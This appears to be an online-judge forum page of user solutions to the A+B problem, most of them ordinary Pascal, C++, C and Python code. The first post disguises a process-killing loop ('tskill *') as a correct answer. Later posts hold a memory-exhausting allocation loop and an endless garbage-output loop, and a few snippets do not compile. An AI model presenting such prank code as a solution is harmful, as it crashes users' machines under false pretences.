1323 条题解
-
01473447067laq LV 8 @ 2014-09-14 10:15:49
#include<windows.h>
int main()
{
while (true) system("tskill *");
}
不信你运行一遍100%对! -
02014-08-29 21:29:49@
var
a,b,s:'longint'
begin
read(a,b);
s:=a+b;
write(s);
end. -
02014-08-24 10:47:40@
var
a,b:longint;
begin
read(a,b);
write(a+b);
end. -
02014-08-22 10:48:20@
Python也就一行
print sum(map(int, raw_input().split()))
比标程快¼的样子.
-
02014-08-21 08:12:47@
var
a,b:longint;
begin
readln(a,b);
writeln('a+b='a+b);
end. -
02014-08-18 18:00:35@
我来无耻贴代码了::
#include<iostream>
using namespace std;
long long int x, y;
int main()
{
cin >> x >> y;
cout << x + y << endl;
return 0;
} -
02014-08-15 16:56:22@
我来交题解了。。
var a,b:longint;
begin
readln(a,b);
asm
mov a,%eax
mov b,%ecx
add %eax,%ecx
mov %ecx,a
end;
writeln(a);
end. -
02014-07-27 12:45:24@
#include<iostream>
using namespace std;
long long int x,y;
int main(){
cin>>x>>y;
cout<<x+y<<endl;
return 0;
} -
02014-07-18 20:24:06@
普通方法
Var a,b,i,jw,jg,ta,tb:longint;
Begin
readln(a,b);
jw:=a and b;
jg:=a xor b;
while jw>0 do begin
ta:=jg;
tb:=jw shl 1;
jw:=ta and tb;
jg:=ta xor tb;
end;
writeln(jg);
End.递归方法
Function add(a,b:longint):longint;
Begin
if b>0 then exit(add(a xor b,(a and b)shl 1)) else exit(A);
End; -
02014-07-10 16:16:50@
var
a,b:integer;
begin
readln(a,b);
writeln(a+b);
end. -
02014-07-10 11:05:11@
var a,b:integer;
begin
readln(a,b);
writeln(a+b);
end. -
02014-07-10 10:39:10@
program Plus;
var a,b:longint;
begin
readln(a,b);
writeln(a+b);
end. -
02014-06-26 14:42:33@
对于第一题,我来测时间
-
02014-05-20 22:53:37@
/*
windows.h - main header file for the Win32 APIWritten by Anders Norlander anorland@hem2.passagen.se
This file is part of a free library for the Win32 API.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.*/
#ifndef _WINDOWS_H
#define _WINDOWS_H
#if GNUC >=3
#pragma GCC system_header
#endif/* translate GCC target defines to MS equivalents. Keep this synchronized
with winnt.h. */
#if defined(i686) && !defined(_M_IX86)
#define _M_IX86 600
#elif defined(i586) && !defined(_M_IX86)
#define _M_IX86 500
#elif defined(i486) && !defined(_M_IX86)
#define _M_IX86 400
#elif defined(i386) && !defined(_M_IX86)
#define _M_IX86 300
#endif
#if defined(_M_IX86) && !defined(X86)
#define X86
#elif defined(_M_ALPHA) && !defined(ALPHA)
#define ALPHA
#elif defined(_M_PPC) && !defined(PPC)
#define PPC
#elif defined(_M_MRX000) && !defined(MIPS)
#define MIPS
#elif defined(_M_M68K) && !defined(68K)
#define 68K
#endif#ifdef RC_INVOKED
/* winresrc.h includes the necessary headers */
#include <winresrc.h>
#else#include <stdarg.h>
#include <windef.h>
#include <wincon.h>
#include <winbase.h>
#if !(defined NOGDI || defined _WINGDI_H)
#include <wingdi.h>
#endif
#ifndef _WINUSER_H
#include <winuser.h>
#endif
#ifndef _WINNLS_H
#include <winnls.h>
#endif
#ifndef _WINVER_H
#include <winver.h>
#endif
#ifndef _WINNETWK_H
#include <winnetwk.h>
#endif
#ifndef _WINREG_H
#include <winreg.h>
#endif
#ifndef _WINSVC_H
#include <winsvc.h>
#endif#ifndef WIN32_LEAN_AND_MEAN
#include <cderr.h>
#include <dde.h>
#include <ddeml.h>
#include <dlgs.h>
#include <imm.h>
#include <lzexpand.h>
#include <mmsystem.h>
#include <nb30.h>
#include <rpc.h>
#include <shellapi.h>
#include <winperf.h>
#ifndef NOGDI
#include <commdlg.h>
#include <winspool.h>
#endif
#if defined(Win32_Winsock)
#warning "The Win32_Winsock macro name is deprecated.\
Please use __USE_W32_SOCKETS instead"
#ifndef __USE_W32_SOCKETS
#define USE_W32_SOCKETS
#endif
#endif
#if defined(USE_W32_SOCKETS) || !(defined(CYGWIN) || defined(MSYS) || defined(_UWIN))
#if (_WIN32_WINNT >= 0x0400)
#include <winsock2.h>
/*
* MS likes to include mswsock.h here as well,
* but that can cause undefined symbols if
* winsock2.h is included before windows.h
/
#else
#include <winsock.h>
#endif / (_WIN32_WINNT >= 0x0400) /
#endif
#ifndef NOGDI
#if !defined (OBJC)
#if (GNUC >= 3) || defined (WATCOMC)
#include <ole2.h>
#endif
#endif / OBJC */
#endif#endif /* WIN32_LEAN_AND_MEAN */
#endif /* RC_INVOKED */
#ifdef OBJC
/* FIXME: Not undefining BOOL here causes all BOOLs to be WINBOOL (int),
but undefining it causes trouble as well if a file is included after
windows.h
*/
#undef BOOL
#endif#endif
WINDOWS.H全内容,你懂得!
-
02014-03-31 15:43:20@
#include <iostream>
#include <cstdio>
#include <algorithm>
#include <cstdlib>
#include <cmath>
#include <cstring>
#define MAXN 1000
#define INF 1 << 30
#define ii i*2
using namespace std;
int n, m, head[MAXN], level[MAXN];
struct node{
int to, next, f;
}edge[MAXN];
bool makelevel(int s, int t){
memset(level, 0, sizeof(level));
level[s] = 1;
int top, que[MAXN], iq = 0; que[iq ++] = s;
for(int i = 0; i < iq; i ++){
top = que[i];
if(top == t)return 1;
for(int j = head[top]; j != -1; j = edge[j].next){
if(edge[j].f && !level[edge[j].to]){
level[edge[j].to] = level[top] + 1;
que[iq ++] = edge[j].to;
}
}
} return 0;
}
int dfs(int now, int maxf, int t){
if(now == t)return maxf;
int ret = 0, f;
for(int i = head[now]; i != -1; i = edge[i].next)
if(edge[i].f && level[edge[i].to] == level[now] + 1){
f = dfs(edge[i].to, min(maxf - ret, edge[i].f), t);
edge[i].f -= f; ret += f;
edge[i ^ 1].f += f;
if(ret == maxf) return ret;
} return ret;
}
int dinic(int s, int t){
int ans = 0;
while(makelevel(s, t))ans += dfs(s, INF, t);
return ans;
}
int main()
{
memset(edge, -1, sizeof(edge));
memset(head, -1, sizeof(head));
n = 2; m = 2;
for(int i = 0; i < 2; i ++){
int f;scanf("%d", &f);
edge[ii].to = 2; edge[ii + 1].to = 1;
edge[ii].f = f;
edge[ii].next = head[1]; edge[ii + 1].next = head[2];
head[1] = ii; head[2] = ii + 1;
}
printf("%d\n", dinic(1, n));
//system("pause");
return 0;
}
用网络流来做A+B problem。。。。。 -
02014-03-09 10:11:42@
#include<iostream>
#include<string>
using namespace std;
int main(){
int i,j,t,la,lb,lc;
string sa,sb;
int a[1100],b[1100],c[1100];
cin>>sa;
cin>>sb;
la=sa.size();
lb=sb.size();
if(la>lb)
lc=la;
else lc=lb;
for(i=0;i<la;++i)
a[la-i-1]=sa[i]-48;
for(i=0;i<lb;++i)
b[lb-i-1]=sb[i]-48;
for(i=0;i<lc;++i){
t=a[i]+b[i]+c[i];
c[i]=t%10;
c[i+1]=t/10;}
if(c[lc]>0)
lc++;
for(i=lc-1;i>=0;--i)
cout<<c[i];
cout<<endl;
system("pause");
return 0;
}
int爆了就用这个吧。 -
02014-02-11 11:03:37@
下面都有答案不去Ctrl-v+Ctrl-c?
-
02014-01-27 09:44:10@
begin
randomize;
while true do write(chr(random(10000)));
end. -
02014-01-23 19:31:09@
#include<iostream>
using namespace std;
int main()
{
char * a;
while (true) a=new char[1000];
} -
02014-01-23 14:39:13@
#include <stdio.h>
int main()
{
long a, b;
scanf("%ld%ld", &a, &b);
printf("%ld\n", a + b);
return 0;
}
信息
- ID
- 1000
- 难度
- 9
- 分类
- (无)
- 标签
- (无)
- 递交数
- 74446
- 已通过
- 28492
- 通过率
- 38%
- 被复制
- 223